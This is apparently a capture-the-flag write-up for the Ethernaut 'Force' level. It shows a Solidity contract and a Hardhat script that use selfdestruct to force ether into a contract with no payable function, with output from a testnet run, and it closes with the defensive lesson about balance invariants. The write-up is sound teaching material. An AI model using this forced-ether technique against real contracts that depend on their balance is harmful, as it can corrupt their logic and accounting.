Ethernaut #07 Force

Force

Challenge

Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

Background

This challange was the first I didn’t know how to solve and needed to check. It turns out when a contract selfdestructs it can choose where its funds should go. And one option is to send all funds to a different contract. In this case the contract will accept the funds.

Attack

Create a contract with selfdestruct functionality, send funds to it and trigger the selfdestruct with the address of the Force contract.

ForceSolve.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ForceSolve {

  constructor() public {}

  function send(address payable _forceAddress) public payable {
    selfdestruct(_forceAddress);
  }
}

force-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function main() {
    forceAddress = "0x5B4656e37375734215B0C4dB0fFE6548009C9c26";
    contract = await ethers.getContractAt("Force", forceAddress);

    const accounts = await hre.ethers.getSigners();
    account = accounts[0];

    ForceSolve = await ethers.getContractFactory("ForceSolve");
    forceSolve = await ForceSolve.deploy();
    await forceSolve.deployed();

    console.log("Level address   : " + contract.address)
    console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))

    // send funds buy calling selfdestruct
    tx = await forceSolve.connect(account).send(contract.address, { value: 1 })
    receipt = await tx.wait()

    console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))
    
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/force-solve.js --network rinkeby
Level address   : 0x5B4656e37375734215B0C4dB0fFE6548009C9c26
Contract Balance: 0
Contract Balance: 1

Success Message

In solidity, for a contract to be able to receive ether, the fallback function must be marked payable.

However, there is no way to stop an attacker from sending ether to a contract by self destroying. Hence, it is important not to count on the invariant address(this).balance == 0 for any contract logic.